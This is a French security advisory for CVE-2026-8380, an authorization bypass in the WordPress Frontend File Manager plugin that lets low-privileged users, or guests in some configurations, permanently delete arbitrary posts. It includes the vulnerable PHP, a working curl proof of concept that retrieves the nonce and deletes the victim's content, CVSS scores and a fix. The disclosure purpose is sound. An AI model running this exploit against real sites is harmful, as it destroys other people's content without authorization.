
CVE-2026-8380
Une faille d'autorisation critique a été identifiée dans l'extension WordPress Frontend File Manager (nmedia-user-file-uploader) affectant les versions <= 23.6.
La vulnérabilité permet aux utilisateurs authentifiés disposant de faibles privilèges de supprimer définitivement des articles, pages, pièces jointes et types d'articles personnalisés arbitraires de WordPress en raison d'une validation d'autorisation inappropriée dans le point de terminaison AJAX de suppression.
Lorsque l'option de l'extension _allow_guest_upload=yes est activée, la vulnérabilité devient exploitable par des attaquants non authentifiés.
nmedia-user-file-uploader)L'extension contient une vulnérabilité critique de contournement d'autorisation qui permet la suppression arbitraire de contenu WordPress via une validation de paramètres incohérente dans l'action AJAX wpfm_delete_file.
La vulnérabilité a été validée avec succès dans un environnement de laboratoire contrôlé avec une exploitation active de preuve de concept.
Des faiblesses de sécurité supplémentaires ont également été identifiées lors de la recherche :
_allow_guest_upload désactive les vérifications d'autorisation dans plusieurs points de terminaisonREMOTE_ADDRPOST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Désolé, pas autorisé", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
La vérification d'autorisation valide la propriété à l'aide du paramètre singulier :
$_POST['file_id']
Cependant, l'opération de suppression réelle itère sur un paramètre différent :
$_POST['file_ids[]']
En raison de cette incohérence, un attaquant peut :
file_idfile_ids[]Aucune validation n'existe pour garantir :
file_ids[]post_type autoriséfile_id et file_ids[]En conséquence, du contenu WordPress arbitraire peut être supprimé définitivement.
Un utilisateur authentifié avec des privilèges minimaux peut supprimer définitivement :
La suppression est effectuée avec :
wp_delete_post($file_id, true);
Ce qui signifie que le contenu est supprimé définitivement sans récupération via la corbeille.
Si _allow_guest_upload=yes est activé :
192.168.1.1:8080wpfm_sub : Sub@Test123
ID de page : 60
ID d'article : 61
L'attaquant visite une page contenant le shortcode :
[ffmwp]
Extraire le nonce :
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
Réponse :
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| Paramètre | Description |
|---|---|
file_id=57 | Article appartenant à l'abonné utilisé pour contourner l'autorisation |
file_ids[]=60 | Page de l'administrateur victime |
file_ids[]=61 | Article de l'administrateur victime |
{
"success": true,
"data": {
"message": "2 fichiers, répertoires supprimés dans APPARTENANT-À-L'ABONNÉ"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 ÉLEVÉE
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITIQUE
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Valider la propriété et le type d'article pour chaque entrée dans file_ids[].
Exemple d'implémentation sécurisée :
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| Événement | Date |
|---|---|
| Vulnérabilité découverte | 2026-05-28 |
| Contact avec l'éditeur | 2026-05-28 |
| Publication WPScan | 2026-06-04 |
| Divulgation publique | 2026-06-18 |
Cette recherche a été effectuée dans un environnement de laboratoire contrôlé à des fins éducatives et de recherche en sécurité uniquement.
Ne testez pas les systèmes sans autorisation appropriée.